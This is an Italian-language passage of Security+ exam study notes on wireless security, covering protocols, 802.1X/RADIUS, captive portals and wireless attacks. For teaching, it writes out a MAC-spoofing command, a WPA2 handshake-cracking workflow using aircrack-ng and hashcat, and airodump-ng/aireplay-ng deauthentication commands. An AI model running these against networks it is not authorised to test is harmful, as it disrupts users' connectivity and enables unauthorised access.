\u0026quot;Linksys\u0026quot;). I vendor più recenti obbligano l'utente a scegliere un nome al primo avvio, senza imporre un default.\nPerché cambiare l'SSID di default è importante (defense-in-depth):\nUn SSID di default rivela il vendor dell'AP. Se un attaccante vede \u0026quot;Linksys\u0026quot; sa che stai usando un AP Linksys — e può sfruttare vulnerabilità note specifiche di quel modello. Un SSID generico come \u0026quot;Success\u0026quot; non fornisce nessun indizio sul dispositivo sottostante.\nSSID Info rivelate all'attaccante Linksys Vendor noto → vulnerabilità specifiche sfruttabili NETGEAR_5G Vendor + banda → ancora più informazioni Success Nessuna → attaccante riparte da zero Tip Cambiare l'SSID di default è una misura di defense-in-depth — non blocca l'attacco, ma toglie all'attaccante informazioni gratuite sul target. Meno informazioni = più lavoro per l'attaccante.\nWarning Exam trap: nascondere l'SSID (SSID broadcast off) non è sicurezza — è security through obscurity. Un attaccante con Wireshark vede comunque la rete. Cambiare il nome è utile, disabilitare il broadcast non lo è.\nMAC Filtering # Il MAC address (physical address / hardware address) è un indirizzo a 48 bit in esadecimale che identifica ogni NIC. Formato tipico: 00-16-EA-DD-A6-60.\nI wireless router consentono di configurare una whitelist o blacklist di MAC address:\nWhitelist — permetti solo i MAC elencati, blocca tutti gli altri Blacklist — blocca i MAC elencati, permetti tutti gli altri Sembra una misura di sicurezza, ma è facilmente aggirabile.\nCome funziona il bypass:\n1. Attaccante mette wlan0 in modalità monitor (promiscuous) 2. Cattura frame wireless → legge i MAC address dei client autorizzati 3. Cambia il proprio MAC (LAA) con uno di quelli autorizzati 4. Si connette alla rete bypassando il filtro Perché funziona — BIA vs LAA:\nOgni NIC ha due livelli di indirizzo:\nLivello Nome Modificabile? ROM del chip BIA — Burned-In Address No Sistema operativo LAA — Locally Administered Address Sì — 1 comando L'AP vede solo quello che il client trasmette — il LAA. Il BIA non viaggia in rete. Quindi l'attaccante imposta il proprio LAA al MAC della vittima e l'AP non può distinguerlo.\nUn device, due MAC:\nUn laptop ha NIC separate per wired e wireless — due MAC distinti, uno per scheda:\neth0 (Ethernet) → MAC: 00-16-EA-DD-A6-60 wlan0 (WiFi) → MAC: 00-16-EA-DD-A6-61 L'attaccante può spoofar entrambi — stesso meccanismo. Il MAC spoofing su eth0 bypassa il port security degli switch (→ cap-03-security-architecture); su wlan0 bypassa il MAC filtering wireless.\nMAC Address Cloning:\nCaso specifico: clonare il MAC della porta WAN del router sul PC. Usato legittimamente per risolvere problemi di connettività su reti home/office dove l'ISP lega la sessione al MAC della prima NIC registrata.\nIn un MAC cloning attack (= MAC spoofing attack) l'attaccante clona il MAC di un sistema autorizzato per bypassare il filtro.\nWarning Exam trap: MAC filtering sembra sicuro ma non lo è. Un attaccante con uno sniffer wireless identifica i MAC autorizzati e li clona in pochi secondi. Non è un controllo affidabile — è security through obscurity, come l'SSID hiding.\nImportant Remember This: MAC filtering può restringere l'accesso wireless a client specifici. Tuttavia un attaccante può usare uno sniffer per scoprire i MAC autorizzati e aggirare questo controllo. Il MAC spoofing è relativamente semplice.\nAntenne: Omni vs Directional # Omnidirectional (omni) — trasmette e riceve segnale in tutte le direzioni contemporaneamente, come una lampadina. È l'antenna standard su AP e dispositivi wireless: permette la connessione da qualsiasi direzione.\nDirectional — trasmette e riceve in una direzione sola. Tutta la potenza è concentrata in un punto → gain maggiore rispetto all'omni → raggiunge distanze maggiori.\nOmni Directional Copertura 360° Singola direzione Gain Minore Maggiore Distanza Minore Maggiore Uso tipico AP in ufficio/stanza Collegamento punto-punto tra edifici Tip Omni = lampadina (illumina tutto attorno). Directional = torcia (luce concentrata in un punto, arriva più lontano).\nSite Survey, Heat Map e Wireless Footprinting # Site Survey — esame dell'ambiente wireless per identificare problemi prima e dopo il deployment:\nInterferenze da altre reti sul stesso canale (2.4 GHz specialmente, canali sovrapposti) Dispositivi che operano sulla stessa frequenza (microonde, baby monitor, Bluetooth) Dead spot — zone senza copertura Hotspot — zone con segnale eccessivamente forte che \u0026quot;sconfina\u0026quot; fuori dall'edificio Non si fa solo una volta: l'amministratore ripete il survey periodicamente per verificare che l'ambiente non sia cambiato e per rilevare eventuali AP non autorizzati (rogue AP).\nWi-Fi Analyzer — tool che analizza l'attività sui canali dello spettro wireless:\nMostra ogni canale e il suo livello di attività su un grafico Mostra i livelli di potenza (signal strength) per canale Permette di vedere quali reti vicine usano quali canali → identifica le interferenze Analizza una frequenza alla volta (2.4 GHz o 5 GHz) Heat Map — rappresentazione a colori dell'intensità del segnale wireless:\nVerde → segnale forte Giallo → segnale medio Rosso → segnale debole o assente (dead spot) Si crea camminando per l'edificio con il tool attivo — registra la posizione e la potenza del segnale in ogni punto. Il risultato è una mappa visiva che mostra copertura completa vs dead spot.\nWireless Footprinting — diagramma dettagliato che sovrappone la heat map alla planimetria dell'edificio. Mostra la posizione fisica degli AP, le zone di copertura, i dead spot e gli hotspot.\nStrumenti: software o hardware?\nTipo Esempio Quando si usa Software su laptop/telefono NetSpot, Ekahau Survey, Wi-Fi Analyzer Caso standard — admin cammina con il laptop Hardware dedicato Ekahau Sidekick, Fluke AirCheck Survey di precisione — sensore fisico indipendente dalla WiFi card del laptop Enterprise automatico Cisco Prime, Aruba AirWave Usa gli AP esistenti come sensori — no walk-around necessario Spectrum Analyzer — strumento hardware o software che mostra tutti i segnali su una frequenza, indipendentemente dalla sorgente. A differenza del Wi-Fi Analyzer (che vede solo AP), lo spectrum analyzer rileva qualsiasi dispositivo che emette su quella banda: forni a microonde, baby monitor, telefoni cordless, dispositivi Bluetooth. Utile per identificare interferenze non-WiFi che degradano la rete.\nWi-Fi Analyzer: vede solo → [AP-1] [AP-2] [AP-3] Spectrum Analyzer: vede tutto → [AP-1] [AP-2] [microonde] [baby monitor] [Bluetooth] Remember This (Gibson) Un site survey esamina l'ambiente wireless per identificare aree problematiche. Una heat map mostra la copertura wireless e i dead spot. Il wireless footprinting fornisce un diagramma dettagliato degli access point, hotspot e dead spot all'interno dell'organizzazione.\nProtocolli wireless — dal più debole al più forte # Le reti wireless trasmettono nell'aria: chiunque abbia un transceiver wireless può intercettare il traffico. Nella storia del wireless, la sicurezza è stata un'aggiunta tardiva — i primi protocolli erano deboli e gli attaccanti trovarono rapidamente il modo di sfruttarli.\nProtocollo Stato Motivo WEP — Wired Equivalent Privacy Deprecato — non usare Cifratura RC4 rotta, IV prevedibile, crack in minuti WPA — Wi-Fi Protected Access Deprecato — non usare TKIP vulnerabile, solo fix temporaneo su WEP WPA2 — Wi-Fi Protected Access 2 Standard corrente AES/CCMP, sicuro se configurato correttamente WPA3 — Wi-Fi Protected Access 3 Raccomandato SAE, Perfect Forward Secrecy, Enhanced Open Warning WEP e WPA sono deprecati e non devono essere usati. Exam trap: se una domanda chiede il protocollo da usare, WEP e WPA sono sempre la risposta sbagliata.\nWPA2 — IEEE 802.11i # WPA2 (Wi-Fi Protected Access 2) è lo standard wireless definito da IEEE 802.11i. Usa AES come algoritmo di cifratura e CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol) come protocollo crittografico. Sostituisce WEP e WPA, entrambi deprecati.\nImportant WPA2 cifra sempre il traffico con CCMP/AES. La differenza tra le modalità non è \u0026quot;cifrato vs cleartext\u0026quot; — è il tipo di autenticazione. L'unica modalità cleartext è Open mode (nessuna password).\nWPA2 fa due cose distinte:\nAutenticazione — controlla chi può accedere alla rete (PSK o Enterprise) Cifratura — cifra tutti i pacchetti nell'aria tra device e AP con CCMP/AES Protegge solo il tratto wireless (device → AP). Dal router in poi non è responsabilità di WPA2 — lì ci pensa HTTPS/TLS se presente.\ngraph LR D[\"Device\"] --\u003e|\"WPA2 cifra qui\"| A[\"AP\"] A --\u003e|\"non protetto da WPA2\"| R[\"Router\"] R --\u003e I[\"Internet\"] style D fill:#2d6a4f,color:#fff style A fill:#2d6a4f,color:#fff Tre modalità WPA2:\nModalità Password Autenticazione Cifratura Dove si usa Open Nessuna Nessuna No — cleartext Reti guest non sicure PSK (Personal) Password condivisa Anonima — nessuna identità individuale Sì (CCMP/AES) Casa, bar con password Enterprise Credenziali individuali Individuale via RADIUS + 802.1X Sì (CCMP/AES) Aziende PSK — Pre-Shared Key: Tutti conoscono la stessa password. Il traffico è cifrato, ma l'AP non sa chi sei — solo che conosci la chiave. Non c'è autenticazione nel senso di \u0026quot;identificazione dell'utente\u0026quot;.\nÈ il WiFi di casa: la password stampata sotto il router è la PSK. Chiunque la conosca entra — nessuna identità, nessun log per utente.\nWarning PSK autentica il dispositivo (sa la password) ma non l'utente (non sa chi sei). Exam trap: PSK = authorization senza authentication.\nRADIUS – Remote Authentication Dial-In User Service # RADIUS (Remote Authentication Dial-In User Service) — server dedicato all'autenticazione centralizzata:\nEnterprise mode — 802.1X + RADIUS:\nEnterprise mode forza ogni utente ad autenticarsi con credenziali uniche prima di accedere alla rete.\nFlusso di autenticazione: 1. Utente inserisce username + password sull\u0026#39;AP 2. AP impacchetta le credenziali e le manda al RADIUS server (l\u0026#39;AP si autentica al RADIUS con la \u0026#34;shared secret\u0026#34;) 3. RADIUS controlla nel suo database 4. RADIUS risponde all\u0026#39;AP: accesso concesso / negato 5. AP apre o blocca la connessione Tre parametri da configurare sull'AP per Enterprise mode:\nParametro Cos'è RADIUS server IP del server RADIUS (= 802.1X server) RADIUS port Porta del server: 1812 (standard) o 1645 (legacy) Shared secret Password tra AP e RADIUS — non è la password dell'utente Important La shared secret non è la password degli utenti. È la chiave condivisa tra AP e RADIUS per autenticarsi reciprocamente. Gli utenti hanno credenziali separate nel database RADIUS.\n802.1X può anche usare certificati per l'autenticazione — l'azienda emette un certificato al dispositivo/utente, che lo presenta invece di username/password.\nRemember This (Gibson) WPA2-PSK usa una pre-shared key e non fornisce autenticazione individuale. Open mode non usa sicurezza e permette l'accesso a tutti. Enterprise mode è più sicura del Personal mode, fornisce autenticazione forte. Enterprise mode usa un server 802.1X (implementato come RADIUS server) per aggiungere autenticazione.\nWPA3 — Simultaneous Authentication of Equals (SAE) # WPA3 è la generazione più recente di sicurezza wireless, introdotto nel 2018, ora adottato dalla maggior parte delle aziende. Supporta tre modalità:\nEnhanced open mode — sostituisce la open mode non sicura di WPA2. Cifra il traffico anche delle connessioni senza password (reti guest). WPA2 open = cleartext; WPA3 enhanced open = cifrato anche senza password.\nSAE mode — Simultaneous Authentication of Equals — sostituisce la PSK di WPA2:\nUsa ancora una passphrase ma l'autenticazione avviene tramite Diffie-Hellman con chiavi effimere Ogni sessione genera una coppia di chiavi temporanee usa-e-getta — non derivate direttamente dalla passphrase Questo garantisce Perfect Forward Secrecy (PFS): anche se un attaccante cattura l'handshake e in seguito scopre la passphrase, non può decifrare il traffico precedente perché le chiavi effimere sono già state distrutte Mutual authentication: sia il client che l'AP si autenticano reciprocamente — nessuno dei due è privilegiato Le chiavi di sessione vengono derivate localmente sui dispositivi — nessun hash attraversa la rete (a differenza del 4-way handshake di WPA2) Ogni client ottiene una chiave di sessione diversa anche se condividono la stessa passphrase Nelle documentazioni IEEE 802.11 viene chiamato dragonfly handshake In WPA2-PSK invece: handshake catturato + passphrase = tutto il traffico passato decifrabile Enterprise mode — come WPA2 Enterprise, usa RADIUS e autenticazione individuale.\nNomi commerciali WPA3:\nNome prodotto Abbreviazione Autenticazione Dove si usa WPA3-Personal WPA3-PSK SAE (una passphrase condivisa) Casa, piccola impresa WPA3-Enterprise WPA3-802.1X RADIUS + 802.1X (credenziali individuali) Aziende, ospedali, governo GCMP — Galois Counter Mode Protocol — il protocollo di cifratura introdotto con WPA3:\nPiù forte di CCMP usato in WPA2 Fornisce data confidentiality tramite cifratura del traffico Integra un MIC (Message Integrity Check) basato su GMAC (Galois/Counter Message Authentication Code) che garantisce l'integrità di ogni pacchetto GCMP include sia la cifratura che l'integrity check in un unico protocollo Protocolli crittografici wireless — espansione acronimi:\nAcronimo Espansione Usato in Funzione CCMP Counter Mode with Cipher Block Chaining MAC Protocol WPA2 (+ WPA3 compat.) Cifratura AES + integrità GCMP Galois Counter Mode Protocol WPA3 Cifratura + integrità (più forte) SAE Simultaneous Authentication of Equals WPA3-Personal Autenticazione reciproca Diffie-Hellman PSK Pre-Shared Key WPA2/WPA3-Personal Password condivisa (= la \u0026quot;WiFi password\u0026quot;) MIC Message Integrity Check / Code WPA2 (CCMP) + WPA3 (GCMP) Firma crittografica che prova l'integrità del pacchetto EAP Extensible Authentication Protocol 802.1X Enterprise Framework di autenticazione estensibile PMK Pairwise Master Key WPA2/WPA3 Chiave maestra derivata da PSK o 802.1X PTK Pairwise Transient Key WPA2/WPA3 Chiave di sessione effimera per cifrare il traffico WPA2 WPA3 Anno IEEE 2004 (802.11i) 2018 Cifratura CCMP — Counter Mode CBC-MAC Protocol (AES) GCMP — Galois Counter Mode Protocol Autenticazione base PSK — Pre-Shared Key SAE — Simultaneous Authentication of Equals Rete aperta Cleartext Cifrata (Enhanced Open) RADIUS Sì (Enterprise) Sì (Enterprise) Dragonfly handshake No Sì (nome IEEE per SAE) Forward Secrecy No Sì Remember This (Gibson) WPA2 supporta CCMP (basato su AES) e ha sostituito i protocolli crittografici wireless precedenti. WPA3 (2018) usa SAE — Simultaneous Authentication of Equals — invece della PSK di WPA2. SAE usa GCMP per la cifratura e viene chiamato \u0026quot;dragonfly handshake\u0026quot; nelle specifiche IEEE.\nProtocolli di Autenticazione — EAP e varianti # IEEE 802.1X e 802.1X sono la stessa cosa. IEEE è solo il nome dell'ente che ha pubblicato lo standard (Institute of Electrical and Electronics Engineers) — come \u0026quot;ISO\u0026quot; in ISO 27001. In pratica tutti dicono \u0026quot;802.1X\u0026quot; senza il prefisso.\nEAP (Extensible Authentication Protocol) è un framework, non un protocollo completo. Definisce come due sistemi creano una chiave condivisa (PMK — Pairwise Master Key) da cui deriva la PTK (Pairwise Transient Key) usata da CCMP per cifrare il traffico. Su EAP si costruiscono metodi specifici con diversi livelli di sicurezza.\nGibson indica esplicitamente cosa studiare per l'esame: \u0026quot;A key point to remember for each of these methods is if they support or require certificates.\u0026quot;\nMetodo Certificato server Certificato client Caso reale PEAP Sì No Ufficio Windows con AD — laptop usa username/password, solo il server RADIUS ha il cert. Implementazione comune: MS-CHAPv2. EAP-TLS Sì Sì Banca, governo, enterprise con PKI — l'azienda rilascia un cert al device. Massima sicurezza. EAP-TTLS Sì No Ambienti misti Linux/Windows — server ha cert, permette protocolli legacy (PAP) dentro il tunnel TLS. EAP-FAST No (usa PAC) No (usa PAC) Reti Cisco — usa PAC (Protected Access Credential) invece dei certificati. Ancora mnemonico:\nPEAP → P di Password (solo server ha cert, utente usa password) EAP-TLS → T di Two-sided (tutti e due hanno cert — il più sicuro) EAP-TTLS → Tunneled (server cert, legacy dentro il tunnel) EAP-FAST → Flexible/Fast, no cert, PAC, Cisco Important Domanda tipo Security+ su EAP: \u0026quot;quale metodo richiede certificati su server E client?\u0026quot; → EAP-TLS. \u0026quot;Solo server?\u0026quot; → PEAP o EAP-TTLS. \u0026quot;Nessun certificato?\u0026quot; → EAP-FAST (usa PAC).\nRADIUS Federation — federazione tra organizzazioni via 802.1X e RADIUS: gli utenti di un partner si autenticano con le proprie credenziali e accedono alle risorse condivise senza nuovo login. Stesso concetto delle federazioni SAML (→ cap-02-identity-access-management) ma applicato al layer di rete wireless.\nWPA2 — 4-Way Handshake # Il 4-way handshake è il meccanismo con cui client e AP derivano la chiave di sessione usata per cifrare il traffico. Avviene dopo l'autenticazione (PSK o 802.1X/EAP) e prima che inizi il traffico cifrato.\nGerarchia delle chiavi:\nflowchart TD A[\"PSK (passphrase) o credenziali 802.1X\"] --\u003e B[\"PMK — Pairwise Master Key mai usata direttamente per cifrare\"] B --\u003e|\"4-way handshake scambio di nonce casuali\"| C[\"PTK — Pairwise Transient Key chiave di sessione effimera\"] C --\u003e D[\"CCMP/AES cifra il traffico\"] I 4 messaggi (EAPOL frames):\nsequenceDiagram participant C as Client (Supplicant) participant A as AP (Authenticator) Note over C,A: Entrambi conoscono già la PMK A-\u003e\u003eC: M1 — ANonce Note right of A: AP genera nonce casuale C-\u003e\u003eA: M2 — SNonce + MIC Note left of C: Client calcola PTK (PMK+ANonce+SNonce+MAC) — prova di conoscere PMK Note right of A: AP verifica MIC, calcola PTK A-\u003e\u003eC: M3 — GTK + MIC Note right of A: Installa PTK, invia chiave broadcast GTK C-\u003e\u003eA: M4 — ACK Note left of C: Installa PTK e GTK Note over C,A: Traffico cifrato con PTK (CCMP/AES) ANonce / SNonce — numeri casuali usa-e-getta (number used once). Garantiscono che la PTK sia diversa ad ogni sessione anche se la passphrase non cambia PTK — derivata da: PMK + ANonce + SNonce + MAC client + MAC AP. Unica per ogni sessione GTK (Group Temporal Key) — chiave separata usata per cifrare il traffico broadcast/multicast (pacchetti inviati a tutti i client) MIC (Message Integrity Code) — firma che prova che chi manda il messaggio conosce davvero la PMK, senza rivelarla Perché il disassociation attack viene usato per catturare l'handshake:\nL'attaccante vuole craccare la passphrase WPA2-PSK offline. Per farlo ha bisogno dei 4 messaggi EAPOL (che contengono i nonce e il MIC da cui verificare le guess). Il flusso di attacco:\n1. Attaccante fa sniffing passivo — aspetta 2. Manda disassociation frame al client (con MAC spoofato) → client disconnesso 3. Client tenta di riconnettersi → esegue il 4-way handshake 4. Attaccante cattura i 4 frame EAPOL 5. Offline: prova milioni di passphrase → calcola PMK → calcola PTK → verifica il MIC 6. Se il MIC coincide → passphrase trovata Tool: aircrack-ng (cattura handshake + brute force), hcxdumptool + hashcat (più veloce con GPU).\nPerché WPA2-PSK è vulnerabile e WPA3-SAE no:\nWPA2-PSK WPA3-SAE Handshake catturabile? Sì — passivo o dopo deauth No — SAE usa DH effimero Offline brute force? Sì — handshake + dizionario No — nessun handshake da craccare Forward Secrecy? No — passphrase trovata = tutto il traffico precedente decifrabile Sì — chiavi effimere distrutte dopo uso Important Exam trap: la PTK è unica per ogni sessione — non è la passphrase, non è la PMK. Catturare il 4-way handshake non rivela direttamente la passphrase — permette di verificare guess offline. La forza dell'attacco dipende dalla debolezza della passphrase (dizionario vs casuale lunga).\nIEEE 802.1X Security — Port-Based NAC # 802.1X implementa NAC port-based: prima di poter usare una porta di rete (fisica o wireless), il device deve autenticarsi.\nMAC filtering vs 802.1X — differenza fondamentale:\nMAC Filtering 802.1X Come funziona Lista bianca di MAC autorizzati Autenticazione attiva (credenziali/cert) Sicurezza Debole — MAC spoofable in 30 secondi Forte — basato su credenziali o certificati Scalabilità Pessima — ogni MAC va aggiunto a mano Ottima — gestione centralizzata via RADIUS Caso d'uso Reti casalinghe o ambienti molto piccoli Enterprise, aziende, ospedali, governo MAC filtering dice \u0026quot;accetto solo i MAC in questa lista\u0026quot; — un attaccante cambia il suo MAC in un minuto (ip link set wlan0 address AA:BB:CC:DD:EE:FF) e bypassa tutto. È security through obscurity.\n\u0026quot;Port-based\u0026quot; significa che il controllo avviene a livello di porta fisica o virtuale:\nWired: ogni presa RJ-45 a muro (wall jack) è una porta switch. 802.1X tiene la porta in stato \u0026quot;unauthorized\u0026quot; finché il device non si autentica Wireless: ogni client ha una \u0026quot;porta virtuale\u0026quot; — l'AP blocca il traffico finché 802.1X non autorizza flowchart TD A[\"Device collegato al wall jack RJ-45\"] --\u003e B[\"Switch: porta UNAUTHORIZED\"] B --\u003e C{\"802.1X autentica via RADIUS\"} C --\u003e|\"OK\"| D[\"Switch: porta AUTHORIZED traffico normale\"] C --\u003e|\"Fallita\"| E[\"Switch: porta UNAUTHORIZED device bloccato\"] Rogue device — dispositivo non autorizzato collegato alla rete, non gestito dall'IT:\nLaptop personale di un dipendente portato da casa Raspberry Pi nascosto dentro un armadio o dietro una scrivania Switch non autorizzato collegato a una presa libera Qualsiasi device senza certificato aziendale valido 802.1X blocca i rogue device al livello più basso: la porta resta chiusa indipendentemente da cosa dice il device.\n802.1X + VPN — due livelli di autenticazione in sequenza:\nIl device si connette fisicamente (wired) o wireless 802.1X autentica il device: porta aperta solo se autenticazione OK Solo dopo, il client VPN stabilisce il tunnel cifrato verso la rete aziendale Anche se qualcuno ruba le credenziali VPN, non può nemmeno avviare la connessione VPN senza prima passare l'autenticazione 802.1X sulla porta.\nCombinazione 802.1X + VLAN — dopo l'autenticazione, il RADIUS comunica allo switch in quale VLAN mettere il device:\nDipendente con cert aziendale → VLAN staff (accesso completo) Appaltatore con cert temporaneo → VLAN vendor (accesso limitato) Device sconosciuto / auth fallita → VLAN quarantena (solo internet, no rete interna) Questo è Zero Trust a livello di rete: identità verificata + accesso minimo necessario.\n\u0026quot;Dial-in\u0026quot; nel nome RADIUS — termine storico. Negli anni '90 gli utenti si collegavano via modem telefonico (dial-up). RADIUS autenticava quelle connessioni. Oggi \u0026quot;dial-in\u0026quot; indica qualsiasi accesso remoto, il nome è rimasto.\nForce wireless clients — l'AP rifiuta connessioni che non usano 802.1X. Un client che tenta di connettersi con solo PSK (o senza autenticazione) viene bloccato a priori. Non è una scelta dell'utente: l'infrastruttura impone 802.1X.\nSicurezza fisica degli AP — 802.1X protegge via software, ma un attaccante con accesso fisico può:\nPremere il tasto reset → AP torna a factory default → niente più 802.1X, rete aperta Scollegare l'AP e collegarne uno rogue con lo stesso SSID (evil twin attack) Collegare un device direttamente al cavo Ethernet dietro l'AP La sicurezza fisica degli AP è parte integrante della wireless security: AP montati in alto, in contenitori lockati, o con viti antimanomissione.\n802.1X = NAC port-based — 802.1X è il Network Access Control (NAC) implementato a livello di porta. NAC è il concetto (\u0026quot;nessuno accede senza autenticarsi\u0026quot;), 802.1X è lo standard che lo implementa. Sono sinonimi nel contesto Security+.\nI tre attori del processo 802.1X (EAP):\nRuolo Chi è Compito Supplicant Il device che vuole connettersi Risponde alle richieste di autenticazione Authenticator Switch (wired) o AP (wireless) Blocca il traffico finché il supplicant non è autorizzato; fa da relay verso il server Authentication Server RADIUS (o LDAP/TACACS+) Valida le credenziali e decide se concedere accesso sequenceDiagram participant S as Supplicant (device) participant A as Authenticator (AP/switch) participant AS as Auth Server (RADIUS) S-\u003e\u003eA: 1. Tenta connessione alla rete Note over A: Porta UNAUTHORIZED — blocca tutto tranne EAP A-\u003e\u003eS: 2. EAP-Request Identity S-\u003e\u003eA: 3. EAP-Response: \"Sono James\" A-\u003e\u003eAS: 4. RADIUS Access-Request con identità AS-\u003e\u003eA: 5. Conferma — continua autenticazione A-\u003e\u003eS: 6. EAP-Request credenziali S-\u003e\u003eA: 7. Username + password (nel tunnel EAP) A-\u003e\u003eAS: 8. RADIUS Access-Request con credenziali AS-\u003e\u003eA: 9. RADIUS Access-Accept Note over A: Porta AUTHORIZED A-\u003e\u003eS: 10. EAP-Success — accesso concesso Il processo avviene in millisecondi — l'utente non lo percepisce. Finché le credenziali sono corrette, vede solo \u0026quot;connesso\u0026quot;.\nRemember This (Gibson) 802.1X implementa port-based network access control (NAC). Un supplicant (device) si autentica verso un authenticator (switch/AP) che fa da relay verso un authentication server (RADIUS). Solo dopo l'autenticazione la porta viene aperta. 802.1X = NAC nel contesto Security+. Può essere combinato con VLAN assignment e VPN per sicurezza a più livelli.\nCaptive Portal # Captive Portal = pagina web di login che intercetta il traffico di un client prima di dargli accesso alla rete. Il browser viene \u0026quot;catturato\u0026quot; e reindirizzato alla pagina di login.\nScenario tipico (aeroporto, hotel, ospedale — rete guest):\nUtente si connette al WiFi guest ↓ Tenta di aprire qualsiasi sito (es. google.com) ↓ Il gateway intercetta la richiesta HTTP ↓ Reindirizza a https://login.hotel.com ↓ Utente inserisce codice stanza / accetta ToS ↓ Gateway sblocca accesso internet per quell\u0026#39;IP/MAC Perché i captive portal invece di 802.1X?\n802.1X Enterprise Captive Portal Infrastruttura RADIUS server + PKI + configurazione su ogni device Solo un web server con redirect Costo Alto Basso Configurazione client Ogni device va configurato Zero — apri il browser Sicurezza Alta (autenticazione forte) Media (dipende dall'implementazione) Caso d'uso Rete aziendale, dipendenti, device gestiti Reti guest, ospiti, utenti temporanei Come funziona tecnicamente:\nIl gateway assegna IP via DHCP ma blocca tutto il traffico (ACL: solo porta 80/443 verso il captive portal server) Dopo login/accettazione ToS, il gateway aggiunge il MAC/IP alla lista autorizzati Il traffico viene sbloccato per quella sessione (timeout configurabile) Hotspot pubblici e captive portal — gli hotspot (WiFi pubblici: bar, aeroporti) usano quasi sempre captive portal. Dopo l'accesso, il traffico transita sulla rete pubblica: senza VPN, chiunque sulla stessa rete può intercettare il traffico non cifrato.\nImportant Exam trap: captive portal non è un'alternativa sicura a 802.1X per le reti aziendali. È una soluzione pragmatica per reti guest. Se l'esame chiede \u0026quot;quale soluzione autentica individualmente i dipendenti con crittografia forte\u0026quot; → 802.1X/RADIUS. Se chiede \u0026quot;quale soluzione è semplice per gli ospiti senza configurazione client\u0026quot; → Captive Portal.\nRemember This (Gibson) I captive portal vengono usati quando 802.1X è costoso o impraticabile. Gli utenti si connettono al WiFi e vengono reindirizzati a una pagina web per login o accettazione dei termini prima di accedere alla rete. Comune negli hotspot pubblici.\nAttacchi Wireless # ![Pasted image 20260608110133.webp](/assets/Pasted image 20260608110133.webp)\n![Pasted image 20260608110207.webp](/assets/Pasted image 20260608110207.webp)\nmindmap root((Wireless Attacks)) Deauth Attack Management frame forgiati MAC spoofing DoS Layer 2 Fix 802.11ac PMF WPA3 MFP obbligatorio WPS PIN 8 cifre Due meta 4+4 11k combo Reaver cracking Disabilitare dopo uso Rogue AP Wall jack libero Sniffer o accesso Data exfiltration Disconnetti subito Evil Twin Stesso SSID Proxy trasparente MITM HTTP traffic SSL stripping Jamming Rumore RF Layer 1 SNR abbassato Fox hunt antenna direzionale Attenuatore per localizzare IV Attack Solo WEP IV 24 bit riusato Packet injection Aircrack-ng NFC RFID NFC 4 cm eavesdropping RFID sniffing cloning DoS Faraday sleeve protezione Bluetooth Bluejacking messaggi Bluesnarfing dati Bluebugging backdoor War Driving Ricognizione reti Audit legittimo War flying drone Deauthentication / Disassociation Attack — DoS # Due tipi di frame, stesso attacco:\nFrame Significato Quando viene usato normalmente Deauthentication Termina completamente l'autenticazione con l'AP Logout definitivo dalla rete Disassociation Disconnette dall'AP ma resta autenticato Allontanamento temporaneo (roaming) In pratica i due termini vengono usati come sinonimi per questo attacco — sia deauthentication che disassociation frame possono essere forgiati dall'attaccante per disconnettere la vittima. All'esame Security+ troverai entrambi: puntano allo stesso concetto.\nÈ un DoS. L'effetto per la vittima è identico al jamming lato esperienza: si disconnette dalla rete senza avviso, non riesce a riconnettersi finché l'attaccante continua, e non capisce cosa sta succedendo. La differenza è il layer: jamming = Layer 1 (fisico), deauth attack = Layer 2 (management frames).\nIl problema: In 802.11 (pre-802.11ac), i management frame non sono autenticati. L'AP non verifica se il frame è davvero partito da quel client — si fida ciecamente del MAC nel frame.\nL'attacco:\nL'attaccante fa sniffing passivo (airodump-ng wlan0mon) → individua il MAC della vittima associata all'AP e il BSSID dell'AP Crea un deauth frame con il MAC della vittima come sorgente (MAC spoofing) Lo invia all'AP (aireplay-ng -0 0 -a \u0026lt;BSSID_AP\u0026gt; -c \u0026lt;MAC_vittima\u0026gt; wlan0mon) L'AP lo accetta → disconnette la vittima Ripete in loop → la vittima non riesce più a stare connessa Attaccante (sniffer) AP Vittima (MAC: AA:BB:CC:DD:EE:FF) | | | |-- airodump-ng ------\u0026gt; | vedo MAC vittima | | | | | deauth frame | | | src=AA:BB:CC:DD:EE:FF | | |----------------------\u0026gt;| | | |-- connessione terminata -\u0026gt;| | | | ← kiccat, si tenta riconnessione |-- deauth loop -------\u0026gt;| | | |-- kiccat di nuovo -------\u0026gt;| ← loop infinito Tool standard: airodump-ng (scoprire MAC), aireplay-ng -0 (inviare deauth frames). Parte della suite aircrack-ng su Kali.\nCaso hotel (Gibson): Alcuni hotel individuavano i Personal Hotspot degli ospiti (iPhone in tethering) e lanciavano disassociation attack in loop → connessione continuamente interrotta → l'ospite si arrendeva e pagava il WiFi a pagamento dell'hotel.\nLa fix — 802.11ac e Protected Management Frames:\nGli engineer del comitato IEEE 802.11 riconobbero il problema. La fix fu incorporata nello standard 802.11ac (e versioni successive): i management frame chiave vengono ora cifrati per default. Frames ora protetti: disassociate, authenticate, channel switch announcements.\nFrames che rimangono in chiaro anche su 802.11ac (devono essere leggibili prima che la cifratura entri in gioco):\nBeacon frames (annuncio della rete) Probe frames (device che cerca AP) Authentication frames (handshake iniziale) Association frames (prima connessione) Se fai una packet capture su una rete 802.11ac vedrai ancora alcuni management frame in chiaro — è normale e intenzionale.\nWPA3 rende obbligatori i Management Frame Protection (MFP) — i management frame (inclusi disassociation/deauth) vengono firmati crittograficamente. Un attaccante non può più forgiare frame con il MAC di un'altra vittima.\nCaso reale: DEF CON (Las Vegas, ogni anno) — la conferenza di sicurezza più grande al mondo. La rete WiFi è notoriamente uno dei posti più ostili al mondo: ricercatori e partecipanti lanciano deauth attack continuamente come dimostrazione. Gli organizzatori hanno risposto prima con AP enterprise WPA2 e poi con WPA3 + MFP, l'unico modo per rendere il disassociation attack inefficace. Il WiFi di DEF CON è diventato un benchmark per la sicurezza wireless.\nRemember This (Gibson) Un deauthentication/disassociation attack è un DoS wireless: l'attaccante invia management frame forgiati (con il MAC della vittima) all'AP che disconnette la vittima. Funziona perché in 802.11 i management frame non erano autenticati. La fix arriva con 802.11ac (PMF opzionale) e WPA3 (PMF obbligatorio).\nWPS — Wi-Fi Protected Setup # Cos'è WPS: Meccanismo per collegare nuovi device alla rete WiFi senza inserire la passphrase, in due modi:\nButton method (WPS button): Premi il bottone sull'AP e sul device → il device si configura automaticamente in ~30 secondi. Quello che fa Fastweb per collegare nuovi device alla rete di casa. PIN method: Trovi l'8-cifre PIN stampato sull'AP → lo inserisci sul nuovo device. WPS PIN attack (es. Reaver): L'attaccante prova sistematicamente tutti i PIN possibili finché non trova quello corretto:\n8 cifre → teoricamente 100 milioni di 